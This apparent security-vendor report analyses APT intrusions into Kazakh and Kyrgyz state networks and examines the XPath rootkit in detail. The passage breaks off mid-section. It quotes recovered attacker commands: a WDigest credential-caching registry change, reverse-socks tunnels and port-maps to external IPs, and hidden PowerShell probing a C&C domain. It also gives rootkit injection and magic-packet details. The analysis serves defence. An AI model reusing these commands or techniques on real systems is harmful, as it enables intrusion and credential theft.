Study of the APT attacks on state institutions in Kazakhstan and Kyrgyzstan
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Introduction

As an object of study, targeted cyberattacks on large enterprises and government institutions are of great interest to information security specialists. The study of such incidents makes it possible to analyze the strategy and tools used by hackers to break into computer systems, and in turn develop appropriate counteraction measures. The software used in targeted attacks is usually unique since it is developed in-line with the goals and objectives of the attackers, and is not publicly advertised. In comparison with common threats, samples of such malware rarely become the object of research. In addition, targeted attacks use complex mechanisms to hide traces of malicious activity, making it more difficult to detect unauthorized presence inside the attacked organization’s infrastructure.

In March 2019, Doctor Web was contacted by a client from a state institution of the Republic of Kazakhstan regarding malware presence on one of the corporate network computers. This case prompted the beginning of an investigation, resulting in the company’s specialists discovering and being the first to describe the family of trojan programs used for a full-scale targeted attack on the institution. The materials we had made it possible to learn more about the tools and goals of cybercriminals who infiltrated the internal computer network. The investigation revealed that the facility’s computer network has been compromised since at least December 2017.

In addition, in February 2020 Doctor Web was contacted by representatives of the state institution of the Kyrgyz Republic regarding a similar matter — signs of an infected corporate network. Our expertise has confirmed the range of malicious programs operating within the network. Some modifications of this malware were also used during the attack on the organization in Kazakhstan. Our analysis showed, as in the previous case, the initial infection began long before the enquiry — in March 2017.

Because the unauthorized presence in both infrastructures continued for at least three years, as well as the event logs from servers revealing completely different trojan families, we assume that not one, but several hacker groups are likely behind these attacks. With that, some of the trojans used in these attacks are well-known: part of them are exclusive tools of certain APT groups, while the other part is used by various APT groups of China.
General Information About the Attack and Tools

We were able to study in detail the information from several network servers of the affected institutions in Kazakhstan and Kyrgyzstan. All devices covered in the study run Microsoft Windows operating systems.

Malware used in the targeted attack can be divided into two categories:

1. Common ones installed on most network computers;
2. Specialized ones installed on servers of special interest to the attacker.

The analyzed malware samples and utilities used by attackers allow us to assume the following attack scenario. After successfully exploiting the vulnerabilities and gaining access to the network computer, hackers uploaded one of the BackDoor.PlugX modifications to it. The trojan's payload modules allowed attackers to remotely control an infected computer and use it for lateral movement. Another trojan, presumably used for initial infection, was BackDoor.Whitebird.1. This backdoor was designed to operate in 64-bit operating systems and had a universal functionality: supporting an encrypted connection to the C&C server, as well as the file manager, proxy, and for remote control via the command shell functionality.

After achieving a network presence, attackers used specialized malware to carry out their tasks. This is how specialized trojan programs are distributed among infected devices.

<table>
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<tr>
<th>Domain controller #1</th>
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The most interesting finding is the XPath family, whose modifications, according to our information, have not been publicly described before. The family has a rootkit for hiding network activity and traces of presence in a compromised system, which was detected by the Dr.Web anti-rootkit installed on the attacked server. The samples we studied were compiled between 2017-2018. With that, these malicious programs are based on open source projects.
released several years earlier. Thus, the studied samples used versions of the WinDivert package released between 2013-2015. This indirectly indicates the first XPath modifications may also have been developed during this period.

XPath is a module trojan, each component of which corresponds to a specific stage of malware operation. The infection process begins with the installer operation, detected as Trojan.XPath.1. The installer uses an encrypted configuration hardcoded in its body and launches the payload either by driver installation or by utilizing COM Hijacking. The program uses the system registry to store its modules, using both encryption and data compression.

Trojan.XPath.2 is a driver and hides malicious activity in a compromised system by running another module simultaneously. The driver has Chinese digital signatures. Its operation is based on open source projects. Unlike other components stored in the system registry, the driver files are located on a disk, and the malicious program runs covertly. In addition to hiding the driver file on the disk, the component is also designed for injecting the payload’s loader in the lsass.exe process, as well as concealing the trojan’s network activity. The operating scenario varies depending on the operating system version.

PayloadDll.c is the original name for the third component. A library detected as Trojan.XPath.3 is an intermediate module that injects the payload, saved in the system registry, into the svhost.exe process by utilizing COM Hijacking.

The main functionality is contained in the payload module detected as Trojan.XPath.4. The component is written in C++, and is also based on open source projects. Similar to most of the malware analyzed in this study, this trojan is designed to gain unauthorized access to infected computers and steal confidential data. Its key feature is the ability to operate in two modes. The first is the Client Mode. In this mode, the trojan connects to the C&C server and waits for incoming commands. The second is the Agent Mode. In this mode, Trojan.XPath.4 carries server functions: it listens for certain ports, waits for other clients to connect to them, and sends commands to these clients. Thus, the malware creators have provided the possibility for deploying a local C&C server inside the attacked network to redirect commands from an external C&C server to infected computers inside the network.

For a detailed description of the XPath family and how it works, see Operating Routine of Discovered Malware Samples.

Another interesting finding is the Trojan.Mirage access implementation to the command shell. To perform command shell I/O redirections, the malware used files that we were able to retrieve from an infected server during the investigation. With them we managed to see the commands executed by cybercriminals using the following trojan function, as well as the data received in response:

```
reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Wdigest /v UseLogonCredential /t REG_DWORD /d 1 /f
ipconfig /displaydns
c:\windows\debug\windbg.exe -n 202.74.232.2 -o 53,80,443
c:\windows\debug\windbg.exe -n 202.74.232.2 -o 143,110
```
The launched windbg.exe file was a TCP/UPD port scanner utility called PortQry.

During our investigation, we found evidence indirectly confirming the connection of targeted attacks on institutions of Central Asian republics. One of the uncovered samples called BackDoor.PlugX.38 used the nicodonald[.]accesscam[.]org domain, which was also used as the C&C server for BackDoor.Apper.14, also known as ICEFOG NG. A few years ago, we discovered a backdoor of this family in a phishing email sent to one of the state institutions in Kazakhstan. Also, an RTF document that installs this sample of BackDoor.Apper.14 was first uploaded to VirusTotal from Kazakhstan on March 19, 2019.

An interesting finding within the framework of the Kyrgyzstan incident is the Logtu backdoor found on an infected server along with the Mikroceen backdoor. In addition to a similar set of malware used by attackers in both incidents, Mikroceen points to a possible connection between the two attacks: a sample of this highly specialized backdoor was found on both networks and in both cases it was installed on the domain controller.

During the search for samples related to these attacks, we found a specially made backdoor that implements BIND Shell access to the command shell. The program’s debugging information contains the project name in Chinese， which may indicate the trojan’s origin.

In addition to malicious programs, attackers used the following publicly available utilities for lateral movement within the network:

- Mimikatz
- TCP Port Scanner V1.2 By WinEggDrop
- Nbtscan
- PsExec
- wmiexec.vbs
- goMS17-010
- ZXPortMap v1.0 By LZX
- Earthworm
- PortQry version 2.0 GOLD

Examples of launching some of the listed utilities are shown below.

- **ZXPortMap**: vmware.exe 21 46.105.227.110 53

- **Earthworm**: cryptsocket.exe -s rssocks -d 137.175.79.212 -e 53
The APT group also actively used its own PowerShell scripts to perform various tasks, such as collecting information about an infected computer and other network devices, checking the C&C server status from an infected computer, etc. In addition, we found a PowerShell script designed for downloading all the contents from the Microsoft Exchange Server mailboxes of several of the organization’s employees.

Examples of certain PowerShell scripts executed on infected servers:

```powershell
powershell -enc
DQAKADUAMwAsADMAOAA5ACAAfAAgACUAewBlAGMAaABvACAAKAocAG4AZQB3AC0AbwB1AGoAZQ8BJAHQAIABOA
GUAdAAuAFMAbwBjAGsAZQ8OAHMALgBUAGMACABDAGwAaQB1AG4AdAAPAC4AQwBvAG4Abg81AGMAAdAAoAC1Adq
AuAG4AbgBuuAGMAaQBOAhkALqB4AHkAegAiACwA2ABfACKAgACIAUAABvAH1AAdAqACQAqAgAGkAcwAG8
AcAB1AG4AIQAIAH0AIAAyAD4ATBuAHUAbABsAA0ACg=
Powershell
```

```powershell-nop -enc
DQAKADIAMQAsADIAMgAsADIANQAgAhwAIA1Ah5A2QBjAGqAbwAgACgAKABuAGUAdwAtAG8AYqBqAGUAYwB0A
CAATTgB1AHQALgBTAG8AYwBrAGUAdBzAC4AVABjAHAAQwB5AGkAZQ8BuAHQAKQAuAEMAbwB8uAG4AZQ8BJAHQAK
AiAHYALgBuAG4AbqBjAGkADAB5AC4eAB5Ah0AIgAsACQAXWApACKAIAlAFAbwByAHQAIAAKAGkAIABpAHM
AIABvAHAA2QBuACEAIgB9CAAMgA+ACQAbgB1AGwAbAANAoA
```

```powershell
powershell.exe -executionpolicy bypass -WindowStyle Hidden -File C:\programdata\x.ps1
%COMSPEC% /Q /c tasklist /v >>c:\programdata\2.txt
%COMSPEC% /Q /c systeminfo >>c:\programdata\2.txt
%COMSPEC% /Q /c netstat -nvb >> c:\programdata\2.txt
powershell -exec bypass -command "& { foreach($i in 53,80,443){ echo ((new-object Net.Sockets.TcpClient).Connect('v.nnncity.xyz',$i)) "port:"$i } 2 > $null }" >>c:\programdata\2.txt
```
Operating Routine of Discovered Malware Samples

Trojan.XPath.1

Trojan.XPath.1 is an installer for the multi-functional XPath backdoor. It operates on both 32-bit and 64-bit Microsoft Windows operating systems. The payload is extracted by installing the driver or by utilizing COM Hijacking.

Operating routine

Using the 5-byte magic number, the installer checks whether the configuration embedded in it has encryption. The configuration is then used for the payload functioning. If there is no encryption, the program shuts down.

After that, the malware receives information about the OS version, UAC settings and checks whether the user has administrative privileges. A string is formed from obtained data:

\texttt{admin:\%d,dwCPBA:\%d,dwLUA:\%d,om:\%d-d-d}

Then, the program outputs it via the \texttt{OutputDebugStringA} function.

Next, the trojan attempts to install its driver. In case of failure, an attempt is made to install the module using COM Hijacking.

After that, the program deletes its file from the disk and terminates its process.

Driver installation

It deletes the \texttt{yyyyyyyyGoogle.sys} file from the \%WINDIR\%\tracing\ directory. It extracts the desired driver version from its body, depending on the system architecture bit widths, and saves it to the specified path. Drivers are stored in the sample being compressed via the APLib library and are additionally encrypted by an algorithm based on the XOR operation with a single-byte key.

It then stores its payload in the registry as three modules. It uses \texttt{[HKLM\SOFTWARE\Microsoft\LoginInfo]} as its working registry branch. It creates keys in it and saves the payload there:

- Video — configuration;
- DirectShow — XPath module;
- DirectDraw — PayloadDll module.
The modules are hardcoded in the trojan's body in a similar form to the driver (using APLib and XOR) and are present in two versions — for both 32-bit and 64-bit systems. Each module uses its own single-byte key. The modules are saved as a structure:

```c
#pragma pack(push,1)
struct mod {
    _DWORD compressed_size;
    _DWORD decompressed_size;
    _BYTE data[compressed_size];
};
#pragma pack(pop)
```

The data module is decoded, but remains compressed.

The program then attempts to create a service with autorun andImagePath to the extracted driver. The driver file name is used as the service name.

If the service cannot be launched via SCMManager and the service has already been created, an attempt is made to start the driver via ZwLoadDriver.

To check if the driver is working, the malware attempts to open the ```\\.\BaiduHips``` device. In case of failure, a second attempt is made after 100 milliseconds. A total of 15 attempts are made, after which the driver installation is considered incomplete.

If the driver is running, it sequentially starts the ```[%WINDIR%\System32\ping.exe], [%WINDIR%\System32\rundll32.exe %WINDIR%\System32\svchost.exe]``` and ```[%WINDIR%\System32\lsass.exe]``` processes.

**COM Hijacking**

The program saves its modules in the registry the same way as when installing the driver, but this time using ```[HKCU\SOFTWARE\Microsoft\LoginInfo]``` as the home branch.

It iterates through the registry keys in the HKU section and searches for a key with a name containing the ```S-1-5-21-``` substring and does not contain the ```Classes``` substring. Inside this key, it creates the ```Software\Classes\CLSID\{ECD4FC4D-521C-11D0-B792-00A0C90312E1}\``` key for Windows 2000, Windows XP, Windows Server 2003, and the ```Software\Classes\CLSID\{B12AE898-D056-4378-A844-6D393FE37956}\``` key for Windows Vista or later. For this key it sets the ```%TMP%\Microsoft\ReplaceDll.dll``` path as the parameter value (by default). It also creates the ```ThreadingModel``` parameter with the ```Apartment``` value.

After that, it unpacks the ```PayloadDll``` module into the ```%TMP%\Microsoft\ReplaceDll.dll``` directory.
Artifacts

The Trojan.XPath.1 file contains leftover debugging information that reveals the paths and source code file names:

- \z:\desk_codes\project_xpath\xpathinstaller\\client_files.h
- \z:\desk_codes\project_xpath\xpathinstaller\\MemLoadDll.h
- xpathinstaller.c

The original function names are:

- InstallSecFunDriver
- MyZwLoadDriver
- SetMyLoginInfo
- InstallDrv

The file also contains various debugging messages:

- start TRUE:%s,%d
- pOpenSCManager false:%s,%d
- ZwLoadDriver false1 :%s,%d,%d
- ZwLoadDriver false2 :%s,%d,%d
- ZwLoadDriver false3 :%s,%d,%d
- ZwLoadDriver false1 :%x
- ZwLoadDriver ok : %x
- type:%d
- "setinfo false":%s,%d,%d,%d
- install all failed
- can not pCreateFile,inst failed :%s,%d
- %s,%d,%d
- admin:%d,dwCPBA:%d,dwLUA:%d,om:%d-%d

The setinfo false string is the most interesting. It contains the 0xAC13 symbol, which in Unicode corresponds to the ㄱ hieroglyph. This hieroglyph is used in South and North Korean writing.

Trojan.XPath.2

Trojan.XPath.2 is a driver for the multi-function XPath backdoor. It has two versions for both 32-bit and 64-bit Microsoft Windows operating systems. The component is designed to inject the payload loader into the lsass.exe process, as well as for traffic filtering.

Operating routine

Trojan.XPath.1 serves as a loader for the driver. Operating in Windows starting from Vista or higher is based on the source code of the WinDivert 1.1 (30.06.2013) - 1.2 (17.07.2015). Operating in Windows starting from Windows 2000 up to Vista is based on the source code of the WinPcap.
Drivers have the following digital signatures:

CN = Anhua Xinda (Beijing) Technology Co., Ltd.
OU = Digital ID Class 3 - Microsoft Software Validation v2
O = Anhua Xinda (Beijing) Technology Co., Ltd.
L = Beijing
S = Beijing
C = CN

CN = 长沙马沙电子科技有限公司
O = 长沙马沙电子科技有限公司
L = 长沙市
S = 湖南省
C = CN

The trojan obtains the addresses of the necessary functions from a NDIS.SYS file:

```c
get_proc_addr(ndis_imagebase, "NdisNIndicateStatus", (int *)NdisNIndicateStatus);
get_proc_addr(ndis_imagebase, "NdisFreePacketPool", (int *)NdisFreePacketPool);
get_proc_addr(ndis_imagebase, "NdisFreePacket", (int *)NdisFreePacket);
get_proc_addr(ndis_imagebase, "NdisAllocatePacket", (int *)NdisAllocatePacket);
get_proc_addr(ndis_imagebase, "NdisAllocatePacketPool", (int *)NdisAllocatePacketPool);
get_proc_addr(ndis_imagebase, "NdisFramePacket", (int *)NdisFramePacket);
get_proc_addr(ndis_imagebase, "NdisFreeBufferPool", (int *)NdisFreeBufferPool);
get_proc_addr(ndis_imagebase, "NdisAllocateBufferPool", (int *)NdisAllocateBufferPool);
get_proc_addr(ndis_imagebase, "NdisAllocateBuffer", (int *)NdisAllocateBuffer);
get_proc_addr(ndis_imagebase, "NdisVSleep", (int *)NdisVSleep);
get_proc_addr(ndis_imagebase, "NdisUnchainBufferAtFront", (int *)NdisUnchainBufferAtFront);
get_proc_addr(ndis_imagebase, "NdisSetEvent", (int *)NdisSetEvent);
get_proc_addr(ndis_imagebase, "NdisInitializeEvent", (int *)NdisInitializeEvent);
get_proc_addr(ndis_imagebase, "NdisFreeMemory", (int *)NdisFreeMemory);
get_proc_addr(ndis_imagebase, "NdisAllocateMemory", (int *)NdisAllocateMemory);
get_proc_addr(ndis_imagebase, "NdisWaitEvent", (int *)NdisWaitEvent);
get_proc_addr(ndis_imagebase, "NdisCloseAdapter", (int *)NdisCloseAdapter);
get_proc_addr(ndis_imagebase, "NdisResetEvent", (int *)NdisResetEvent);
get_proc_addr(ndis_imagebase, "NdisRegisterProtocol", (int *)NdisRegisterProtocol);
get_proc_addr(ndis_imagebase, "NdisOpenAdapter", (int *)NdisOpenAdapter);
get_proc_addr(ndis_imagebase, "NdisCopyFromPacketToPacket", (int *)NdisCopyFromPacketToPacket);
get_proc_addr(ndis_imagebase, "NdisQueryAdapterInstanceName", (int *)NdisQueryAdapterInstanceName);
```

It then checks which of the available modules — hal.dll, halmacpi.dll or halacpi.dll — was loaded, and gets the addresses of several functions from it:

```c
get_proc_addr(hal_imagebase, "KfAcquireSpinLock", (int *)KfAcquireSpinLock_0);
get_proc_addr(hal_imagebase, "KfReleaseSpinLock", (int *)KfReleaseSpinLock_0);
get_proc_addr(hal_imagebase, "KfLowerIrql", (int *)KfLowerIrql);
get_proc_addr(hal_imagebase, "KfRaiseIrql", (int *)KfRaiseIrql);
get_proc_addr(hal_imagebase, "KcRaiseIrqlToDpcLevel", (int *)KcRaiseIrqlToDpcLevel);
```
Next, it checks if the ntdll.dll module is loaded. If it is not loaded, Trojan.XPath.2 independently maps the file into the memory, and gets the addresses of the necessary functions:

```c
ntdll_imagebase = (void *)find_module("ntdll.dll");
v13 = (int*)ntdll_imagebase;
var_8 = ntdll_imagebase - 0;
if ( ntdll_imagebase == 0 )
{
    if ( find_module(L"\SystemRoot\System32\ntdll.dll", &FileHandle, &SectionHandle, (int*)&v13) )
        return v0;
    ntdll_imagebase = (void *)v13;
}

v2 = VAR_8;
v2 = (BYTE *)getProcAddress(ntdll_imagebase, "ZwReadVirtualMemory", var_0);
*(DWORD *)ZwReadVirtualMemory = check_proc_stub(v2);
if ( *(DWORD *)ZwReadVirtualMemory != -1 )
{
    v4 = (BYTE *)getProcAddress(ntdll_imagebase, "ZwWriteVirtualMemory", v2);
    *(DWORD *)ZwWriteVirtualMemory = check_proc_stub(v4);
    if ( *(DWORD *)ZwWriteVirtualMemory != -1 )
    {
        v5 = (BYTE *)getProcAddress(ntdll_imagebase, "ZwQueryVirtualMemory", v2);
        *(DWORD *)ZwQueryVirtualMemory = check_proc_stub(v5);
        if ( *(DWORD *)ZwQueryVirtualMemory != -1 )
        {
            v6 = (BYTE *)getProcAddress(ntdll_imagebase, "ZwProtectVirtualMemory", v2);
            *(DWORD *)ZwProtectVirtualMemory = check_proc_stub(v6);
            if ( *(DWORD *)ZwProtectVirtualMemory != -1 )
                v8 = 1;
        }
    }
}
```

Then trojan creates the device `\\Device\\test1` and the symbolic link `\DosDevices\test1`.

Via `PsSetCreateProcessNotifyRoutine` it sets a callback function in which it tracks the `lsass.exe` process creation. As soon as this process is started, the trojan reads the loader module (Trojan.XPath.3) from the registry `\\registry\machine\SOFTWARE\Microsoft\LoginInfo\DirectDraw`. Then it unpacks it and injects it into the `lsass.exe`. In the 64-bit version of the driver, code is injected via the `PsSetLoadImageNotifyRoutine` function.

The program waits until it can open `\\SystemRoot\\explorer.exe`, then via `IoCreateDriver` it creates the `\\FileSystem\\FsBaiduHips` driver.

It records the following values in the registry:
- `\\Registry\Machine\System\CurrentControlSet\Services\yyyyyyyyGoogle\Group` = "Boot Bus Extender";

- `\\Registry\Machine\System\CurrentControlSet\Services\yyyyyyyyGoogle\DependOnService` = "FltMgr";

- `\\Registry\Machine\System\CurrentControlSet\Services\yyyyyyyyGoogle\Instances\DefaultInstance` = 'yyyyyyyyGoogle Instance';

- `\\Registry\Machine\System\CurrentControlSet\Services\yyyyyyyyGoogle\Instances\yyyyyyyyGoogle Instance\Altitude` = '399999';

- `\\Registry\Machine\System\CurrentControlSet\Services\yyyyyyyyGoogle\Instances\yyyyyyyyGoogle Instance\Flags` = '00000000'.

Then it attempts to register as a minifilter. If the FltRegisterFilter function returns the `STATUS_FLT_INSTANCE_ALTITUDE_COLLISION` error, the program reduces the value of Altitude by one, and then retries.

When registering as the minifilter, the `PreOperation` callback function is set for IRP_MJ_CREATE:

```c
1 int _stdcall filter_create_pre_callback(PFLT_CALLBACK_DATA Data, PFLT_REGISTER_DATA FltObjects, PVOID CompletionContext)
2 {
3     if ( !us_driver_filename )
4         return (int)&us_driver_filename->Length + 1;
5     if ( !compare flair_send_to_e_driver_name(Data, us_driver_filename) )
6         return 1;
7     Data->IoStatus.Status = 0xC0000001;
8     return 4;
9 }
```

For IRP_MJ_QUERY_INFORMATION a callback function is set:

```c
1 int _stdcall filter_query_post_callback(PFLT_CALLBACK_DATA Data, PFLT_REGISTER_DATA FltObjects, PVOID CompletionContext, FLT_MOST_OPERATION_FLAGS Flags)
2 {
3     if ( Flags & FLTFL_MOST_OPERATION_WAITING || us_driver_filename )
4         return 8;
5     if ( Data->IoStatus.Status < 0 || !compare flair_send_to_e_driver_name(Data, us_driver_filename) )
6         return 8;
7     Data->IoStatus.Status = 0xC0000001;
8     return 4;
9 }
```

For IRP_MJ_DIRECTORY_CONTROL, both the `PreOperation` and `PostOperation` callback functions are set. These four functions are used to conceal the driver file.

The trojan then creates the device `\Device\BaiduHips` and the symbolic link `\DosDevices\BaiduHips`.

Further behavior depends on the infected computer’s OS version.

The program registers the BaiduHips NDIS protocol.

To perform the firewall functionality, the driver intercepts the `SendHandler`, `ReceiveHandler`, `ReceivePacketHandler`, and `OpenAdapterCompleteHandler` functions:

```c
if (current_SendHandler != openblock->SendHandler)
{
    v6 = ring0_disable_rdonly();
    original_SendHandler = openblock->SendHandler;
    openblock->SendHandler = Hook_SendHandler;
    current_SendHandler = Hook_SendHandler;
    ring0_enable_rdonly(v6);
}

if (current_ReceiveHandler != openblock->ReceiveHandler)
{
    v7 = ring0_disable_rdonly();
    original_ReceiveHandler = openblock->ReceiveHandler;
    openblock->ReceiveHandler = Hook_ReceiveHandler;
    current_ReceiveHandler = Hook_ReceiveHandler;
    ring0_enable_rdonly(v7);
}

if (current_ReceivePacketHandler != openblock->ReceivePacketHandler)
{
    v8 = ring0_disable_rdonly();
    original_ReceivePacketHandler = openblock->ReceivePacketHandler;
    openblock->ReceivePacketHandler = Hook_ReceivePacketHandler;
    current_ReceivePacketHandler = Hook_ReceivePacketHandler;
    ring0_enable_rdonly(v8);
}

if (current_OpenAdapterCompleteHandler != openblock->OpenAdapterCompleteHandler)
{
    v9 = ring0_disable_rdonly();
    original_OpenAdapterCompleteHandler = openblock->OpenAdapterCompleteHandler;
    openblock->OpenAdapterCompleteHandler = Hook_OpenAdapterCompleteHandler;
    current_OpenAdapterCompleteHandler = Hook_OpenAdapterCompleteHandler;
    ring0_enable_rdonly(v9);
}
```

Hooks are inserted only after receiving the IOCTL code `0x80000800`. After that, the program starts filtering traffic (see below).

BaiduHips (Windows Vista, Windows Server 2008 or higher)

It creates a WDF driver, and passes `\Registry\Machine\System\CurrentControlSet\Services\BaiduHips` as the service path.

Further initialization is similar to the standard initialization of the WinDivert driver. The trojan tracks traffic transmitted over IPv4.

The most important difference from the standard WinDivert is the `windivert_filter` function, which filters packets (see below).

Firewall

The second (in addition to payload launch) main function of the driver is to filter traffic. The firewall filters TCP/UDP packets transmitted over IPv4.
The rules are defined as structures:

```c
#pragma pack(push, 1)
struct st_fw_add_tcp
{
    _WORD protocol;
    _DWORD pid;
    _BYTE src_mac[6];
    _BYTE dst_mac[6];
    _DWORD ack;
    _DWORD sn;
    _DWORD src_ip;
    _DWORD dst_ip;
    _WORD src_port;
    _WORD dst_port;
};
#pragma pack(pop)
```

The `src_mac`, `dst_mac`, `ack`, and `sn` fields are optional. It should be noted that depending on the packet direction, the fields are compared accordingly. In other words, to transmit a packet in both directions between two devices, a single rule is sufficient, where the recipient is the computer that runs this rootkit.

There are two ways to add firewall rules:

1. Via the corresponding IOCTL code,
2. By sending specially generated packets over the TCP Protocol.

**Special packet 1**

This is a TCP packet with the following parameters:

- The **AckNum value is set to** `0x87ED5409`;
- The **SeqNum value is set to** `0x1243FDEC`;
- **RST flag is set.**

When such a packet is received, a rule is added to the firewall that allows traffic to pass from the sender's IP address and the `src_port + 1` port to the specified destination and in the opposite direction.

**Special packet 2**

This TCP packet size must be 32 bytes. The first 4 bytes are the key for decrypting the rest of the data. Decryption function:
Next, bytes from 4 up to 12 are compared with the 1I2#aLeb string. If a match occurs, a rule is added to the firewall that allows traffic flow from the sender's IP address and port.

It is worth noting that the TCP Handshake process is not performed and flags are ignored. Only the size of the data and the data itself matter.

**IOCTL codes**

The trojan's IOCTL codes:

- 0x80000800 — to insert hooks on network functions (only available on Windows versions up to Windows Vista)
- 0x80000815 — to add a firewall rule for the TCP Protocol;
- 0x80000819 — to delete a firewall rule for the TCP Protocol;
- 0x8000081D — to add a firewall rule for the UDP Protocol;
- 0x80000819 — to delete a firewall rule for the UDP Protocol;
- 0x80001005 — to set the value of two variables (not used).

IOCTL codes from WinDivert (available only for OS versions starting from Vista and higher):

- 0x80002422 — to receive a diverted packet;
- 0x80002425 — to send a packet;
- 0x80002429 — to start filtering;
- 0x8000242D — to set the level;
• 0x80002431 — to set the priority;
• 0x80002435 — to set the flags;
• 0x80002439 — to set the parameter;
• 0x8000243E — to receive the parameter's value.

**Artifacts**

In addition to project files path disclosed in PDB:

<table>
<thead>
<tr>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>Z:\desk_codes\project_xpath\ObjFile\SecKernel\SecKernel.pdb</td>
</tr>
<tr>
<td>Z:\desk_codes\project_xpath\ObjFile\SecKernel64\SecKernel.pdb</td>
</tr>
</tbody>
</table>

The code contains the names of specific files with the trojan's source codes:

<table>
<thead>
<tr>
<th>Code File Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>bwctrl1.c</td>
</tr>
<tr>
<td>Ndis5.c</td>
</tr>
<tr>
<td>Ndis6.c</td>
</tr>
<tr>
<td>SecKernel.c</td>
</tr>
</tbody>
</table>

There are also various debugging messages:

```
out of memory2
out of memory3
out of memory4
del tcp pid:%d,%d,%d\n
size not match:%d,%d

get:%wZ mac:%02x-%02x-%02x-%02x-%02x-%02x
test my tcp packet,eth len:%d,%d-->%d\n
init drv :%d,%d\n
init drv :%x\n
\C:\InjectIntoProcess crash
\C:\NewProcess crash
\C:\ProcessGone crash
\C:\ProcessCallback crash
\C:\InitDriver crash
```

**Trojan.XPath.3**

A trojan library written in C and designed to run on the 32-bit and 64-bit Microsoft Windows operating systems. It represents one of the components of the Trojan.XPath trojan family and is installed by the Trojan.XPath.1 onto the target system. The main function of this library is to inject the payload, saved in the registry, into the svhost.exe process.

**Operating routine**

Trojan.XPath.3 has the following system exports:

• DllCanUnloadNow
• DllGetClassObject
• DllGetVersion
• DllInstall
• DllRegisterServer
• DllUnregisterServer

The trojan receives all the necessary imports through the WinAPI LoadLibraryA/GetProcAddress, while the names of the required functions in its code are not encrypted.

If the trojan runs in the context of the explorer.exe, it checks for the version of the OS where it is launched.

For the operating systems below Windows Vista, Trojan.XPath.3 receives function exports from the themeui.dll:
• DllCanUnloadNow
• DllGetClassObject
• DllInstall
• DllRegisterServer
• DllUnregisterServer

For the operating systems starting from Windows Vista and higher, it receives function exports from the ExplorerFrame.dll:
• DllCanUnloadNow
• DllGetClassObject
• DllGetVersion
• 0x6E
• 0x6F
• 0x86

The trojan requires these function addresses in order to call the corresponding functions whenever a trojan library export of the same name is called.

Using the Global\RunThreadOfWinDDK8098 mutex, Trojan.XPath.3 verifies only one instance of it is running.

Using ZwQuerySystemInformation, the trojan counts the number of processes running in the system. It waits until their number exceeds 7, then starts the %WINDIR%\system32\svchost.exe process with the CREATE_SUSPENDED flag.

Trojan.XPath.3 reads the DirectShow parameter from the registry thread [HKLM\SOFTWARE\Microsoft\LoginInfo] or [HKCU\SOFTWARE\Microsoft\LoginInfo] where the payload is stored. It then unpacks the payload using the APLib library.
Next, the trojan allocates a memory block of 0xC80F0 bytes. At the beginning of the block it forms the following structure:

```c
#pragma pack(push, 1)
struct mod
{
    char char0[128];
    _QWORD LdrLoadDll;
    _QWORD LdrGetProcedureAddress;
    _QWORD ZwProtectVirtualMemory;
    _QWORD ZwCreateSection;
    _QWORD ZwMapViewOfSection;
    _QWORD qwordA8;
    _QWORD NtTerminateThread;
    _QWORD qwordB8;
    _QWORD qwordc0;
    _QWORD is_x64;
    _QWORD payload_size;
    _QWORD qwordd8;
    _BYTE payload[payload_size];
};
#pragma pack(pop)
```

Herewith, in the analyzed sample the `char0` value represents a `asdsad1111222333` constant.

The trojan allocates a memory block of the size of 0xD80F0 bytes to the previously launched `svchost.exe` process and copies the entire region of 0xC80F0 bytes onto it.

Next, Trojan.XPath.3 searches for the `0x12345688` constant, which is located in the shellcode built into it and replaces it with the memory block address, previously allocated in the `svchost.exe` process. It then copies this shellcode onto the allocated block using the 0xC90F0 offset.

For systems below Windows 8, the trojan receives `CONTEXT` of the thread in the `svchost.exe` process and patches the RIP/EIP register with the shellcode, adding 8 bytes to it. For more recent OS versions, Trojan.XPath.3 launches the thread through `NtCreateThreadEx`.

**Artifacts**

Traces of the debug information inside the trojan library allow finding the name of the trojan’s source code file: `PayloadDll.c`.

Various debugging messages, which are stored in the library:

```plaintext
os ver:%d,%d,%d
payload_%04d-%02d-%02d_%02d-%02d-%02d.dmp
get target api address false
get target api address false
get magic false
get magic false
get magic false
get magic false
get magic false
get magic false
Alloca Mem in target process false!!!
writing info to target process false!!!,%d,%d,%x
```
writing stub to same architecture process:%p
writing payload to target process false!!,%d
GetProcessEntryPoint is:%x\n!OpenProcessToken,%d\n!DuplicateTokenEx,%d\nget TokenInformation,%d\n!SetTokenInformation,%d\n!pCreateEnvironmentBlock,%d\n!xOpenProcess
loader path:%s\nCreate Process All Failed ERROR=%d
try gen info\n gen info ok\nWritePayloadToRemote false\nwrite info ok\nerror thread
GetThreadContext Error\nGetThreadContext eip:%p\nset thread context error\nSetThreadContext eip:%p\ncreate thread ok\nget func error in payload\nget lib error in payload\ntry runthread in payload\nin payload

Trojan.XPath.4
A multifunctional backdoor trojan for the 32-bit and 64-bit versions of the Microsoft Windows operating systems. It is one of the components of the Trojan.Xrath trojan family. It is used for granting unauthorized access to infected computers and performing various malicious actions upon attackers' commands.

Trojan.Xrath.4 is written in C++ and created using several open source projects. One of them is the Cyclone TCP library designed for low-level operation within the network. Malware creators modified it to use the WinDivert driver instead of the WinPcap driver. The second project is the modified libdsm library, which implements the operation through the SMB protocol.

Operating routine
The trojan reads and decrypts the configuration file from the Video or Scsi parameter stored in the [HKLM\SOFTWARE\Microsoft\LoginInfo] registry key. It then verifies if the first 4 bytes coincide with the 1E 5A CF 24 value and if the 16th bite equals 0xCE.

Next, Trojan.Xrath.4 forms a unique HWID (Hardware ID) identifier of the infected device, based on its hardware configuration.

After that, it opens the device \\.BainduHips to verify the network driver is available. Depending on the operating system version, any calls to the driver are performed in a
specific way. The first one is executed in the Windows operating system versions, starting from Windows 2000 and ending with Windows Server 2003 R2 where the WinCap-based driver is used. The second one is executed on newer versions of Windows where the WinDivert-based driver is used.

In order to determine through which network interfaces the trojan should work, it searches for the network interfaces with types MIB_IF_TYPE_ETHERNET and IF_TYPE_IEEE80211, which are connected to the network. If Trojan.XPath.4 is running on a Windows version earlier than Windows Vista, it sends the IOCTL code 0x80000800 to its driver. After this IOCTL code is received, the driver installs its own hooks onto the handlers, which are responsible for various functions of the TCP/IP protocol.

Based on that, the trojan can operate in two modes. In the first mode, it functions as a client (Client Mode), connecting to the C&C server and waiting for the corresponding commands. In the second mode, the trojan operates as an agent (Agent Mode), listening to the specific ports, and waiting for other clients to connect and receive their corresponding commands. In this mode, Trojan.XPath.4 acts as a server.

**Operation in the Agent (Server) Mode**

